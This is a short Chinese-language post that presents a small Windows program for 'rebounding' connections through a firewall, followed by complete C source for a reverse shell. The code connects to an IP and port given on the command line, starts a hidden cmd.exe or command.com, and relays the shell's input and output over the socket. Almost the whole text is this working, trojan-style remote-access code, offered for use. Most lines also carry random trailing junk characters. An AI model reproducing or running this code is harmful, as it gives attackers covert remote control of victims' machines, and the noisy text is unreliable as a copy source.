这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ^B@4 w\t
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/* ============================== oR}ir
Rebound port in Windows NT y8: 0VZox
By wind,2006/7 Okk[}G)
===============================*/ |)6(_7e9
#include |Hn[XRsf
#include q!W~>c!
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#pragma comment(lib,"wsock32.lib") q3Umqvl)oe
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void OutputShell(); ~Wu Elns
SOCKET sClient; "@B!5s0
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Wm:3_C +j
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void main(int argc,char **argv) _5a]pc$\Y]
{ 4zghM<
WSADATA stWsaData; etf ft8
int nRet; La%\-o
SOCKADDR_IN stSaiClient,stSaiServer; )DMu`cD
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if(argc != 3) DGY#pnCu
{ yb/<
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printf("Useage:\n\rRebound DestIP DestPort\n"); W9 y8dw.
return; Orh5d7+S
} yp5*8g5
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WSAStartup(MAKEWORD(2,2),&stWsaData); j5z, l
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); cYx=8~-
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stSaiClient.sin_family = AF_INET; fLI@;*hL0
stSaiClient.sin_port = htons(0); xy mK|
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); qU8UKI P
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) <6<uO\B\
{ w:FH2*
printf("Bind Socket Failed!\n"); &_4A6
return; UTA0B&aB
} wdBytH6r.
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stSaiServer.sin_family = AF_INET; $ajw]2kx
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); B0p>' O2
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); SUD]Wl7G`r
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) };9dd3X
{ :Tuy]]k
printf("Connect Error!"); gZM{]GQ
return; (m;P,*
} ! qrF=a
OutputShell(); d\;M F
} ]p'Qk
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void OutputShell() ZfT%EPoZ:
{ 5YS`v#+
char szBuff[1024]; vlIdi@V
SECURITY_ATTRIBUTES stSecurityAttributes; v{
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OSVERSIONINFO stOsversionInfo; QN_5q5
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; V EY !0PIj
STARTUPINFO stStartupInfo; 8g>jz
8
char *szShell; >o.u,
PROCESS_INFORMATION stProcessInformation; W<!q>8Xn?
unsigned long lBytesRead; BCUw"R#
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); lG#&Pv>-
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); FGwz5@|E
stSecurityAttributes.lpSecurityDescriptor = 0; %J.Rm0FD:
stSecurityAttributes.bInheritHandle = TRUE; 5mSXf"R^
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); :NbD^h)R
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); O.rk!&N
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); +Yi=Wo/
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oeIB1DaI
stStartupInfo.wShowWindow = SW_HIDE; XQj`KUO@
stStartupInfo.hStdInput = hReadPipe; 9q* sR1
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Br#]FB|tD
w-/bLg[L?$
GetVersionEx(&stOsversionInfo); s #L1:L
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switch(stOsversionInfo.dwPlatformId) *otJtEI>6
{ _9n.ir5YX
case 1: u x:,io
szShell = "command.com"; S<p
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break; CWBsiL
f
default: ,}{E+e5jh7
szShell = "cmd.exe"; ?'T>/<(
break; $Fr2oSTT)
} M8juab%y
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); g<,v2A
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send(sClient,szMsg,77,0); Tr@`ozp8
while(1) /c'#+!19
{ @.0jC=!l
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); c"O\fX
if(lBytesRead) L7D'wf
{ g"T~)SQP
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 0A 4(RLGg
send(sClient,szBuff,lBytesRead,0); f[|xp?ef
} TqQ>\h"&_
else _|A)ueY
{ $ ~D`-+J
lBytesRead=recv(sClient,szBuff,1024,0); Nm,vE7M
if(lBytesRead<=0) break; <[~x]-
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Hlz4f+#I
} $wN'mY
} :eIBK
m k -"
U7;
return; Opjt? ]
}